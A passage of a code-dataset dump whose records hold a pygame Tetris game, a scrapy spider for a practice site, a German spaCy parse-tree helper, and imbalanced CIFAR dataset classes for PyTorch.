[nextShape.node1,nextShape.node2,nextShape.node3,nextShape.node4]:\n        i[0] += y\n        i[1] += x\n\n    for i in [nextShape.node1,nextShape.node2,nextShape.node3,nextShape.node4]:\n        next[i[0]][i[1]] = nextShape.n\n\n    table = next\n\n    dif = screen_heigth // 24\n\n    text(\"Next:\",(screen_heigth//100 * 3),dif*15-10,dif*4,\"white\")\n\n    for i in range(len(table)):\n        for j in range(len(table[-1])):\n            if table[i][j] == 0:\n                continue\n            temp = Rect((j+1)*dif+dif*15,(i+3)*dif,dif,color_dict[table[i][j]])\n            temp.draw()\n\n#MOVE EVERYTHING DOWN\ndef moveDown():\n\n    global table\n\n    toMove = []\n\n    for i in range(20,1,-1):\n        if table[i+1] == [1 if i == 0 or i == 12 else 0 for i in range(13)] and table[i] != [1 if i == 0 or i == 12 else 0 for i in range(13)]:\n            toMove.append(i)\n\n    for i in toMove:\n        table[i+1] = table[i]\n        table[i] = [1 if i == 0 or i == 12 else 0 for i in range(13)]\n\n    if toMove != []:\n        moveDown()\n\n#CREATE TEXT ON SCREEN\ndef text(string,size,x,y,c):\n\n    global screen,color\n\n    f = pygame.font.SysFont(\"Consolas\",size)\n    l = f.render(string,1,color[c])\n    screen.blit(l,(x,y))\n\n\n\n\n#START MENU\ndef startMenu():\n\n    global table,score\n\n    table = [[1 for i in range(13)] if j == 0 or j == 21 else [1 if i == 0 or i == 12 else 0 for i in range(13)] for j in range(22)]\n    score = 0\n\n    string = \"\"\"0 0 0 0 0 0 0 5 5 5 0 0 0 0 0 0 0 0 0 0 0 0\n0 0 0 0 0 0 0 5 0 0 5 0 0 0 0 0 0 0 0 0 0 0\n0 0 0 0 0 0 0 5 0 0 5 0 0 0 0 0 0 0 0 0 0 0\n0 0 0 0 0 0 0 5 5 5 0 0 6 0 6 0 0 0 0 0 0 0\n0 0 0 0 0 0 0 5 0 0 0 0 6 0 6 0 0 0 0 0 0 0\n0 0 0 0 0 0 0 5 0 0 0 0 0 6 0 0 0 0 0 0 0 0\n0 0 0 0 0 0 0 5 0 0 0 6 6 0 0 0 0 0 0 0 0 0\n3 3 3 3 3 0 0 0 0 0 0 0 0 0 0 0 0 6 0 0 0 0\n0 0 3 0 0 0 0 0 0 0 7 0 0 0 0 0 0 0 0 0 0 0\n0 0 3 0 0 4 4 4 0 7 7 7 0 8 8 8 0 6 0 3 3 3\n0 0 3 0 0 4 0 4 0 0 7 0 0 8 0 0 0 6 0 3 0 0\n0 0 3 0 0 4 4 4 0 0 7 0 0 8 0 0 0 6 0 3 3 3\n0 0 3 0 0 4 0 0 0 0 7 0 0 8 0 0 0 6 0 0 0 3\n0 0 3 0 0 4 4 4 0 0 7 7 0 8 0 0 0 6 0 3 3 3\"\"\"\n\n    start_table = [[int(j) for j in i.split(\" \")] for i in string.split(\"\\n\")]\n    t = 1/60\n    selection = 1\n    while True:\n\n\n        if selection == 2:\n            text(\">\",(screen_heigth//100 * 4),(screen_heigth//100 * 42),(screen_heigth//100 * 80),\"white\")\n        else:\n            text(\">\",(screen_heigth//100 * 4),(screen_heigth//100 * 42),(screen_heigth//100 * 70),\"white\")\n\n        text(\"Play\",(screen_heigth//100 * 4),(screen_heigth//100 * 45),(screen_heigth//100 * 70),\"white\")\n        text(\"Exit\",(screen_heigth//100 * 4),(screen_heigth//100 * 45),(screen_heigth//100 * 80),\"white\")\n\n\n        for event in pygame.event.get():\n            if event.type == pygame.QUIT:\n                pygame.quit()\n                sys.exit(0)\n            elif event.type == pygame.KEYDOWN:\n                if event.key == pygame.K_RETURN:\n                    if selection == 1:\n                        game()\n                    else:\n                        pygame.quit()\n                        sys.exit(0)\n                elif event.key == pygame.K_DOWN or event.key == pygame.K_UP:\n                    if selection == 1:\n                        selection = 2\n                    elif selection == 2:\n                        selection = 1\n\n        draw(start_table)\n        sleep(t)\n        screen.fill(color[\"black\"])\n\n\n\n#LOSE SCREEN\n\n\ndef loseScreen():\n    string = \"\"\"0 0 0 1 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0\n0 0 0 1 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0\n0 0 0 1 0 0 1 0 1 1 1 1 0 1 0 0 1 0 0 0\n0 0 0 1 1 1 1 0 1 0 0 1 0 1 0 0 1 0 0 0\n0 0 0 0 0 0 1 0 1 0 0 1 0 1 0 0 1 0 0 0\n0 0 0 0 0 0 1 0 1 0 0 1 0 1 0 0 1 0 0 0\n0 0 0 1 1 1 1 0 1 1 1 1 0 1 1 1 1 0 0 0\n0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0\n0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0\n0 1 0 0 0 0 1 1 1 1 0 1 1 1 1 0 1 1 1 0\n0 1 0 0 0 0 1 0 0 1 0 1 0 0 0 0 0 1 0 0\n0 1 0 0 0 0 1 0 0 1 0 1 1 1 1 0 0 1 0 0\n0 1 0 0 0 0 1 0 0 1 0 0 0 0 1 0 0 1 0 0\n0 1 1 1 1 0 1 1 1 1 0 1 1 1 1 0 0 1 1 0\"\"\"\n\n    lose_table = [[int(j) for j in i.split(\" \")] for i in string.split(\"\\n\")]\n\n    t = 1/60\n    selection = 1\n\n    while True:\n        \n        if selection == 2:\n            text(\">\",(screen_heigth//100 * 3),(screen_heigth//100 * 37),(screen_heigth//100 * 85),\"white\")\n        else:\n            text(\">\",(screen_heigth//100 * 3),(screen_heigth//100 * 37),(screen_heigth//100 * 80),\"white\")\n\n        text(f\"Score : {int(score)}\",(screen_heigth//100 * 3),(screen_heigth//100 * 35),(screen_heigth//100 * 70),\"white\")\n        text(\"Replay\",(screen_heigth//100 * 3),(screen_heigth//100 * 40),(screen_heigth//100 * 80),\"white\")\n        text(\"Exit\",(screen_heigth//100 * 3),(screen_heigth//100 * 40),(screen_heigth//100 * 85),\"white\")\n\n        for event in pygame.event.get():\n            if event.type == pygame.QUIT:\n                pygame.quit()\n                sys.exit(0)\n            elif event.type == pygame.KEYDOWN:\n                if event.key == pygame.K_RETURN:\n                    if selection == 1:\n                        startMenu()\n                    else:\n                        pygame.quit()\n                        sys.exit(0)\n                elif event.key == pygame.K_DOWN or event.key == pygame.K_UP:\n                    if selection == 1:\n                        selection = 2\n                    elif selection == 2:\n                        selection = 1\n\n        draw(lose_table)\n        sleep(t)\n        screen.fill(color[\"black\"])\n\n\ngame_difficulty = 30\ndef game():\n\n    global game_difficulty,table,score,screen_heigth,last\n\n    current = None\n    turn = 0\n    playing = True\n    t = 1/60\n    difficulty = game_difficulty\n\n    while playing:\n        if current == None:\n            current = spawn()\n            if current.appear():\n                playing = False\n                break\n            continue\n\n        showNextBlock(shape_dict[last[-1]])\n\n        text(f\"Score: {int(score)}\",(screen_heigth//100 * 3),screen_heigth//100 * 70, screen_heigth//100 * 50,\"white\")\n        text(f\"Made by Hikmet Güner\",(screen_heigth//100 * 3),screen_heigth//100 * 62, screen_heigth//100 * 80,\"white\")\n\n        shadow = Shadow(current)\n        shadow.showShadow()\n\n        for event in pygame.event.get():\n            if event.type == pygame.QUIT:\n                pygame.quit()\n                sys.exit(0)\n            elif current == None:\n                continue\n            elif event.type == pygame.KEYDOWN:\n                if event.key == pygame.K_LEFT:\n                    current.moveLeft()\n                elif event.key == pygame.K_RIGHT:\n                    current.moveRight()\n                elif event.key == pygame.K_UP:\n                    current.turn()\n                elif event.key == pygame.K_SPACE:\n                    current.slam(shadow)\n                    checkWin()\n                    current = None\n                    continue\n                elif event.key == pygame.K_DOWN:\n                    difficulty = 5\n            elif event.type == pygame.KEYUP:\n                if event.key == pygame.K_DOWN:\n                    difficulty = game_difficulty\n\n        if current == None:\n            continue\n\n        if turn % difficulty == 0:\n            if current.move():\n                if turn == 30:\n                    playing = False\n                current = None\n                turn = 0\n                checkWin()\n                continue\n\n        draw(table)\n        shadow.disappear()\n\n        turn += 1\n        sleep(t)\n\n        screen.fill(color[\"black\"])\n\n    loseScreen()\n    return playing\n      \nstartMenu()\n", "repo_name": "hikmetguner/tetris", "sub_path": "PyT3.py", "file_name": "PyT3.py", "file_ext": "py", "file_size_in_byte": 18590, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pygame.draw.rect", "line_number": 24, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 24, "usage_type": "attribute"}, {"api_name": "pygame.draw.polygon", "line_number": 25, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 25, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 26, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 26, "usage_type": "attribute"}, {"api_name": "copy.deepcopy", "line_number": 306, "usage_type": "call"}, {"api_name": "pygame.init", "line_number": 359, "usage_type": "call"}, {"api_name": "pygame.display.set_mode", "line_number": 362, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 362, "usage_type": "attribute"}, {"api_name": "pygame.font.SysFont", "line_number": 363, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 363, "usage_type": "attribute"}, {"api_name": "pygame.display.set_caption", "line_number": 364, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 364, "usage_type": "attribute"}, {"api_name": "pygame.display.update", "line_number": 382, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 382, "usage_type": "attribute"}, {"api_name": "random.randrange", "line_number": 392, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 395, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 403, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 433, "usage_type": "call"}, {"api_name": "pygame.font.SysFont", "line_number": 483, "usage_type": "call"}, {"api_name": "pygame.font", "line_number": 483, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 528, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 528, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 529, "usage_type": "attribute"}, {"api_name": "pygame.quit", "line_number": 530, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 531, "usage_type": "call"}, {"api_name": "pygame.KEYDOWN", "line_number": 532, "usage_type": "attribute"}, {"api_name": "pygame.K_RETURN", "line_number": 533, "usage_type": "attribute"}, {"api_name": "pygame.quit", "line_number": 537, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 538, "usage_type": "call"}, {"api_name": "pygame.K_DOWN", "line_number": 539, "usage_type": "attribute"}, {"api_name": "pygame.K_UP", "line_number": 539, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 546, "usage_type": "call"}, {"api_name": "pygame.event.get", "line_number": 586, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 586, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 587, "usage_type": "attribute"}, {"api_name": "pygame.quit", "line_number": 588, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 589, "usage_type": "call"}, {"api_name": "pygame.KEYDOWN", "line_number": 590, "usage_type": "attribute"}, {"api_name": "pygame.K_RETURN", "line_number": 591, "usage_type": "attribute"}, {"api_name": "pygame.quit", "line_number": 595, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 596, "usage_type": "call"}, {"api_name": "pygame.K_DOWN", "line_number": 597, "usage_type": "attribute"}, {"api_name": "pygame.K_UP", "line_number": 597, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 604, "usage_type": "call"}, {"api_name": "pygame.event.get", "line_number": 635, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 635, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 636, "usage_type": "attribute"}, {"api_name": "pygame.quit", "line_number": 637, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 638, "usage_type": "call"}, {"api_name": "pygame.KEYDOWN", "line_number": 641, "usage_type": "attribute"}, {"api_name": "pygame.K_LEFT", "line_number": 642, "usage_type": "attribute"}, {"api_name": "pygame.K_RIGHT", "line_number": 644, "usage_type": "attribute"}, {"api_name": "pygame.K_UP", "line_number": 646, "usage_type": "attribute"}, {"api_name": "pygame.K_SPACE", "line_number": 648, "usage_type": "attribute"}, {"api_name": "pygame.K_DOWN", "line_number": 653, "usage_type": "attribute"}, {"api_name": "pygame.KEYUP", "line_number": 655, "usage_type": "attribute"}, {"api_name": "pygame.K_DOWN", "line_number": 656, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 675, "usage_type": "call"}]}
{"seq_id": "13449542187", "text": "import scrapy\n\nclass PostsSpider(scrapy.Spider):\n    name = \"posts\"\n    start_urls = [\n        \"http://books.toscrape.com/catalogue/page-2.html\"\n        \"http://books.toscrape.com/catalogue/page-3.html\"\n    ]\n\n    def parse(self, response):\n        page = response.url.split(\"/\")[-1]\n        filename = 'posts-{0}.html'.format(page)\n        print(\"-------------------->\",page,\"-------------\")\n        with open(filename, \"wb\") as f:\n            f.write(response.body)", "repo_name": "Simon-Oliver/learn_python", "sub_path": "scraper/scraper/spiders/post_spider.py", "file_name": "post_spider.py", "file_ext": "py", "file_size_in_byte": 467, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "scrapy.Spider", "line_number": 3, "usage_type": "attribute"}]}
{"seq_id": "27344489710", "text": "from spacy.language import Language \nfrom spacy.tokens import Doc\nfrom structure_detective.lib import form_children_info, get_children_except_xs\n\ndef _is_verb_like(e):\n  return e.pos_ in [\"VERB\", \"AUX\"]\n\ndef _has_no_subject(e):\n  children_deps = [x.dep_ for x in e.children]\n  return all([subj not in children_deps for subj in [\"sb\", \"sbp\", \"pm\"]])\n\ndef _get_root(doc: Doc):\n  print(doc.text)\n  roots = [r for r in doc if r.dep_==\"ROOT\"]\n  if len(roots)>=1:\n    root = roots[0]\n  else:\n    root = None\n  return root\n\ndef _handle_backward_ocs(ocs:list, doc:Doc):\n  store = []\n  if len(ocs) == 0:\n    return store\n  else:\n    for oc in ocs:\n      regular_oc_children = get_children_except_xs(oc, [\"oc\"])\n      store.extend(form_children_info(doc, regular_oc_children))\n\n      start, end = oc.i, oc.i+1\n      sub = doc[start:end]\n      _info = {\n        \"start\": start,\n        \"end\": end,\n        \"start_char\": sub.start_char,\n        \"end_char\": sub.end_char,\n        \"text\": sub.text,\n        \"element\": oc.i,\n        \"is_root\": False,\n      }\n      store.append(_info)\n \n      oc_children = [occ for occ in oc.children if occ.dep_==\"oc\"]\n      store.extend(_handle_backward_ocs(oc_children, doc))\n    return store\n\ndef _handle_oc(doc: Doc, nlp: Language):\n  store = []\n  # append ROOT\n  root = _get_root(doc)\n  start, end = root.i, root.i+1\n  sub = doc[start:end]\n  _info = {\n    \"start\": start,\n    \"end\": end,\n    \"start_char\": sub.start_char,\n    \"end_char\": sub.end_char,\n    \"text\": doc[start:end].text,\n    \"element\": root.i, \n    \"is_root\": True,\n  }\n  store.append(_info)\n\n  # No oc\n  ocs =  [t for t in root.children if t.dep_ == \"oc\"]\n  if len(ocs) == 0:\n    return store\n\n  oc = ocs[0]\n  \n  no_need_to_dig = not _is_verb_like(oc) or \"sb\" in [t.dep_ for t in oc.children] or \"ep\" in [t.dep_ for t in oc.children]\n  if no_need_to_dig:\n    # oc IS NOT verb like\n    store.extend(form_children_info(doc, [oc]))\n    return store\n  else:\n    # oc IS verb like \n    regular_oc_children = get_children_except_xs(oc, [\"pm\", \"oc\"])\n    store.extend(form_children_info(doc, regular_oc_children))\n\n    # handle oc node with/without zu\n    zu_children = [t for t in oc.children if t.dep_ in [\"pm\"] and t.text == \"zu\" and t.i == oc.i-1]\n    if len(zu_children) == 1:\n      start, end = oc.i-1, oc.i+1 \n    else:\n      start, end = oc.i, oc.i+1\n    sub = doc[start:end]\n    _info = {\n      \"start\": start,\n      \"end\": end,\n      \"start_char\": sub.start_char,\n      \"end_char\": sub.end_char,\n      \"text\": sub.text,\n      \"element\": oc.i,\n      \"is_root\": False,\n    }\n    store.append(_info)\n\n    # handle forward oc\n    oc_forward_children = [t for t in oc.children if t.dep_ == \"oc\" and t.i>oc.i]\n    store.extend(form_children_info(doc, oc_forward_children))\n\n    # handle backward oc\n    oc_backward_children = [t for t in oc.children if t.dep_ == \"oc\" and t.i<oc.i]\n    store.extend(_handle_backward_ocs(oc_backward_children, doc))\n    return store    \n\ndef get_tree(doc: Doc, nlp: Language):\n  root = _get_root(doc)\n  if root == None:\n    return []\n\n  if _is_verb_like(root):\n    xs = [\"oc\"]\n    children = [r for r in root.children if r.dep_ not in xs]\n    store = form_children_info(doc, children)\n  \n    oc_store = _handle_oc(doc, nlp)\n    store.extend(oc_store)\n  else:\n    store = []\n\n  ordered_store = sorted(store, key=lambda d: d[\"start\"]) \n  return ordered_store \n\n", "repo_name": "qishe-nlp/structure-detective", "sub_path": "structure_detective/de/structure.py", "file_name": "structure.py", "file_ext": "py", "file_size_in_byte": 3378, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "spacy.tokens.Doc", "line_number": 12, "usage_type": "name"}, {"api_name": "spacy.tokens.Doc", "line_number": 21, "usage_type": "name"}, {"api_name": "structure_detective.lib.get_children_except_xs", "line_number": 27, "usage_type": "call"}, {"api_name": "structure_detective.lib.form_children_info", "line_number": 28, "usage_type": "call"}, {"api_name": "spacy.tokens.Doc", "line_number": 47, "usage_type": "name"}, {"api_name": "spacy.language.Language", "line_number": 47, "usage_type": "name"}, {"api_name": "structure_detective.lib.form_children_info", "line_number": 74, "usage_type": "call"}, {"api_name": "structure_detective.lib.get_children_except_xs", "line_number": 78, "usage_type": "call"}, {"api_name": "structure_detective.lib.form_children_info", "line_number": 79, "usage_type": "call"}, {"api_name": "structure_detective.lib.form_children_info", "line_number": 101, "usage_type": "call"}, {"api_name": "spacy.tokens.Doc", "line_number": 108, "usage_type": "name"}, {"api_name": "spacy.language.Language", "line_number": 108, "usage_type": "name"}, {"api_name": "structure_detective.lib.form_children_info", "line_number": 116, "usage_type": "call"}]}
{"seq_id": "40615830582", "text": "\"\"\"\nAdopted from\nhttps://github.com/kaidic/LDAM-DRW/blob/master/imbalance_cifar.py\n\"\"\"\nimport numpy as np\nimport torch\nfrom torch.utils.data import Subset\nfrom torchvision.datasets import CIFAR10, CIFAR100\nfrom torchvision import transforms as T\nfrom .data import CIFAR10Data, CIFAR100Data\nfrom pytorch_data.autoaugment import CIFAR10Policy, Cutout\n\n\n__all__ = [\"IMBALANCECIFAR10\",\n           \"IMBALANCECIFAR100\",\n           ]\n\n__all__lp = [\n    \"IMBALANCECIFAR10Data\",\n    \"IMBALANCECIFAR100Data\",\n    \"IMBALANCECIFAR10DataAug\",\n    \"IMBALANCECIFAR10DataAug_v2\", # adds rotation to augmentation\n    \"IMBALANCECIFAR100DataAug\",\n]\n\n\nclass IMBALANCECIFAR10(CIFAR10):\n    cls_num = 10\n\n    def __init__(self,\n                 root,\n                 imb_type='exp',  # exp, step\n                 imb_factor=0.01,\n                 train=True,\n                 transform=None,\n                 target_transform=None,\n                 download=False,\n                 rand_number=0):\n        super(IMBALANCECIFAR10, self).__init__(root, train, transform,\n                                               target_transform, download)\n        if rand_number is not None:\n            np.random.seed(rand_number)\n        img_num_list = self.get_img_num_per_cls(self.cls_num, imb_type,\n                                                imb_factor)\n        self.gen_imbalanced_data(img_num_list)\n\n    def get_img_num_per_cls(self, cls_num, imb_type, imb_factor):\n        img_max = len(self.data) / cls_num\n        img_num_per_cls = []\n        if imb_type == 'exp':\n            for cls_idx in range(cls_num):\n                num = img_max * (imb_factor**(cls_idx / (cls_num - 1.0)))\n                img_num_per_cls.append(int(num))\n        elif imb_type == 'step':\n            for cls_idx in range(cls_num // 2):\n                img_num_per_cls.append(int(img_max))\n            for cls_idx in range(cls_num // 2):\n                img_num_per_cls.append(int(img_max * imb_factor))\n        else:\n            img_num_per_cls.extend([int(img_max)] * cls_num)\n        return img_num_per_cls\n\n    def gen_imbalanced_data(self, img_num_per_cls):\n        new_data = []\n        new_targets = []\n        targets_np = np.array(self.targets, dtype=np.int64)\n        classes = np.unique(targets_np)\n        # keep track of indices\n        new_indices = []\n        # np.random.shuffle(classes)\n        self.num_per_cls_dict = dict()\n        for the_class, the_img_num in zip(classes, img_num_per_cls):\n            self.num_per_cls_dict[the_class] = the_img_num\n            idx = np.where(targets_np == the_class)[0]\n            np.random.shuffle(idx)\n            selec_idx = idx[:the_img_num]\n            new_data.append(self.data[selec_idx, ...])\n            new_targets.extend([\n                the_class,\n            ] * the_img_num)\n            new_indices.append(selec_idx)\n        new_data = np.vstack(new_data)\n        self.data = new_data\n        self.targets = new_targets\n        self.imbalanced_train_indices = np.concatenate(new_indices)\n\n    def get_cls_num_list(self):\n        cls_num_list = []\n        for i in range(self.cls_num):\n            cls_num_list.append(self.num_per_cls_dict[i])\n        return cls_num_list\n\n\nclass IMBALANCECIFAR10Data(CIFAR10Data):\n\n    def __init__(self, args):\n        super().__init__(args)\n        self.imb_type = self.hparams.get('imb_type', 'exp')\n        self.imb_factor = self.hparams.get('imb_factor', 0.01)\n\n    def setup(self, stage=None):\n        # Assign train/val datasets for use in dataloaders\n        train_set = IMBALANCECIFAR10(self.hparams.data_dir,\n                                     train=True,\n                                     transform=self.train_transform(),\n                                     imb_type=self.imb_type,\n                                     imb_factor=self.imb_factor,\n                                     rand_number=self.seed)\n        # imbalanced_train_indices has the indices used for training:\n        # use the remaining indices for validation.\n        valid_set = CIFAR10(self.hparams.data_dir,\n                           train=True,\n                           transform=self.valid_transform())\n\n        test_set = CIFAR10(self.hparams.data_dir,\n                           train=False,\n                           transform=self.valid_transform())\n\n        assert self.valid_size < 1, \"valid_size should be less than 1\"\n        assert self.valid_size >= 0, \"valid_size should be greater than or eq to 0\"\n\n        if self.valid_size == 0:\n            self.train_dataset = train_set\n            self.val_dataset = test_set\n        else:\n            # val set cannot be on imbalanced_train_indices\n            extra_indices = np.asarray(list(set(range(len(valid_set))) - set(train_set.imbalanced_train_indices)))\n            num_extra = len(extra_indices)\n            split = min(int(np.floor(self.valid_size * len(train_set.imbalanced_train_indices))), len(extra_indices))\n            indices = torch.randperm(num_extra,\n                                     generator=self.generator_from_seed,\n                                     )[:split]\n\n            self.imbalanced_train_indices = train_set.imbalanced_train_indices\n            self.val_indices = extra_indices[indices]\n            self.train_dataset = train_set\n            self.val_dataset = Subset(valid_set, self.val_indices)\n        self.test_dataset = test_set\n\n\n        self.check_targets()\n\n    def train_noaug_dataset(self):\n        # get dataset without transformations\n        try:\n            # compatible with some versions of lightning but not others\n            train_set = CIFAR10(self.hparams.data_dir,\n                                train=True,\n                                transform=self.valid_transform(),\n                                )\n\n            return Subset(train_set, self.imbalanced_train_indices)\n        except:\n            raise NotImplementedError('No augmentation dataset not implemented for this dataset')\n\nclass IMBALANCECIFAR100(IMBALANCECIFAR10):\n    \"\"\"`CIFAR100 <https://www.cs.toronto.edu/~kriz/cifar.html>`_ Dataset.\n    This is a subclass of the `CIFAR10` Dataset.\n    \"\"\"\n    cls_num = 100\n    dataset_name = 'CIFAR-100-LT'\n    base_folder = 'cifar-100-python'\n    url = \"https://www.cs.toronto.edu/~kriz/cifar-100-python.tar.gz\"\n    filename = \"cifar-100-python.tar.gz\"\n    tgz_md5 = 'eb9058c3a382ffc7106e4002c42a8d85'\n    train_list = [\n        ['train', '16019d7e3df5f24257cddd939b257f8d'],\n    ]\n\n    test_list = [\n        ['test', 'f0ef6b0ae62326f3e7ffdfab6717acfc'],\n    ]\n    meta = {\n        'filename': 'meta',\n        'key': 'fine_label_names',\n        'md5': '7973b15100ade9c7d40fb424638fde48',\n    }\n\n\nclass IMBALANCECIFAR100Data(CIFAR100Data):\n    def __init__(self, args):\n        super().__init__(args)\n        self.imb_type = self.hparams.get('imb_type', 'exp')  # imbalance type\n        self.imb_factor = self.hparams.get('imb_factor', 0.01)  # imbalance factor\n\n    def setup(self, stage=None):\n        # Assign train/val datasets for use in dataloaders\n        train_set = IMBALANCECIFAR100(self.hparams.data_dir,\n                                      train=True,\n                                      transform=self.train_transform(),\n                                      imb_type=self.imb_type,\n                                      imb_factor=self.imb_factor,\n                                      rand_number=self.seed)\n\n        valid_set = CIFAR100(self.hparams.data_dir,\n                           train=True,\n                           transform=self.valid_transform())\n\n\n        test_set = CIFAR100(self.hparams.data_dir, train=False, transform=self.valid_transform())\n\n        if self.valid_size == 0:\n            self.train_dataset = train_set\n            self.val_dataset = test_set\n        else:\n            # val set cannot be on imbalanced_train_indices\n            extra_indices = np.asarray(list(set(range(len(valid_set))) - set(train_set.imbalanced_train_indices)))\n            num_extra = len(extra_indices)\n            split = min(int(np.floor(self.valid_size * len(train_set.imbalanced_train_indices))), len(extra_indices))\n            indices = torch.randperm(num_extra,\n                                     generator=self.generator_from_seed,\n                                     )[:split]\n\n            self.imbalanced_train_indices = train_set.imbalanced_train_indices\n            self.val_indices = extra_indices[indices]\n            self.train_dataset = train_set\n            self.val_dataset = Subset(valid_set, self.val_indices)\n\n        self.test_dataset = test_set\n\n        self.check_targets()\n\n    def train_noaug_dataset(self):\n        # get dataset without transformations\n        try:\n            # compatible with some versions of lightning but not others\n            train_set = CIFAR100(self.hparams.data_dir,\n                                train=True,\n                                transform=self.valid_transform(),\n                                )\n\n            return Subset(train_set, self.imbalanced_train_indices)\n        except:\n            raise NotImplementedError('No augmentation dataset not implemented for this dataset')\n\n\nclass IMBALANCECIFAR10DataAug(IMBALANCECIFAR10Data):\n\n    def __init__(self, args):\n        super().__init__(args)\n\n    def train_transform(self, aug=True):\n        if aug is True:\n            transform = T.Compose([\n                T.RandomCrop(32, padding=4),\n                T.RandomHorizontalFlip(),\n                CIFAR10Policy(),    # add AutoAug\n                T.ToTensor(),\n                Cutout(n_holes=1, length=16),  # add Cutout\n                T.Normalize(self.mean, self.std),\n            ])\n            return transform\n        else:\n            return self.valid_transform()\n\nclass IMBALANCECIFAR10DataAug_v2(IMBALANCECIFAR10Data):\n    # compared to IMBALANCECIFAR10DataAug adds rotation to augmentation.\n    def __init__(self, args):\n        super().__init__(args)\n\n    def train_transform(self, aug=True):\n        if aug is True:\n            transform = T.Compose([\n                T.RandomCrop(32, padding=4),\n                T.RandomHorizontalFlip(),\n                CIFAR10Policy(),    # add AutoAug\n                T.ToTensor(),\n                T.RandomRotation(15),\n                Cutout(n_holes=1, length=16),  # add Cutout\n                T.Normalize(self.mean, self.std),\n            ])\n            return transform\n        else:\n            return self.valid_transform()\n\n\nclass IMBALANCECIFAR100DataAug(IMBALANCECIFAR100Data):\n\n    def __init__(self, args):\n        super().__init__(args)\n\n    def train_transform(self, aug=True):\n        if aug is True:\n            transform = T.Compose([\n                T.RandomCrop(32, padding=4),\n                T.RandomHorizontalFlip(),\n                CIFAR10Policy(),    # add AutoAug\n                T.ToTensor(),\n                Cutout(n_holes=1, length=16),  # add Cutout\n                T.Normalize(self.mean, self.std),\n            ])\n            return transform\n        else:\n            return self.valid_transform()", "repo_name": "ekellbuch/pytorch_data", "sub_path": "src/pytorch_data/cifar/data_imbalanced.py", "file_name": "data_imbalanced.py", "file_ext": "py", "file_size_in_byte": 11062, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "81", "api": [{"api_name": "torchvision.datasets.CIFAR10", "line_number": 27, "usage_type": "name"}, {"api_name": "numpy.random.seed", "line_number": 42, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 42, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 66, "usage_type": "call"}, {"api_name": "numpy.int64", "line_number": 66, "usage_type": "attribute"}, {"api_name": "numpy.unique", "line_number": 67, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 74, "usage_type": "call"}, {"api_name": "numpy.random.shuffle", "line_number": 75, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 75, "usage_type": "attribute"}, {"api_name": "numpy.vstack", "line_number": 82, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 85, "usage_type": "call"}, {"api_name": "data.CIFAR10Data", "line_number": 94, "usage_type": "name"}, {"api_name": "torchvision.datasets.CIFAR10", "line_number": 111, "usage_type": "call"}, {"api_name": "torchvision.datasets.CIFAR10", "line_number": 115, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 127, "usage_type": "call"}, {"api_name": "numpy.floor", "line_number": 129, "usage_type": "call"}, {"api_name": "torch.randperm", "line_number": 130, "usage_type": "call"}, {"api_name": "torch.utils.data.Subset", "line_number": 137, "usage_type": "call"}, {"api_name": "torchvision.datasets.CIFAR10", "line_number": 147, "usage_type": "call"}, {"api_name": "torch.utils.data.Subset", "line_number": 152, "usage_type": "call"}, {"api_name": "data.CIFAR100Data", "line_number": 180, "usage_type": "name"}, {"api_name": "torchvision.datasets.CIFAR100", "line_number": 195, "usage_type": "call"}, {"api_name": "torchvision.datasets.CIFAR100", "line_number": 200, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 207, "usage_type": "call"}, {"api_name": "numpy.floor", "line_number": 209, "usage_type": "call"}, {"api_name": "torch.randperm", "line_number": 210, "usage_type": "call"}, {"api_name": "torch.utils.data.Subset", "line_number": 217, "usage_type": "call"}, {"api_name": "torchvision.datasets.CIFAR100", "line_number": 227, "usage_type": "call"}, {"api_name": "torch.utils.data.Subset", "line_number": 232, "usage_type": "call"}, {"api_name": "torchvision.transforms.Compose", "line_number": 244, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 244, "usage_type": "name"}, {"api_name": "torchvision.transforms.RandomCrop", "line_number": 245, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 245, "usage_type": "name"}, {"api_name": "torchvision.transforms.RandomHorizontalFlip", "line_number": 246, "usage_type": "call"}, 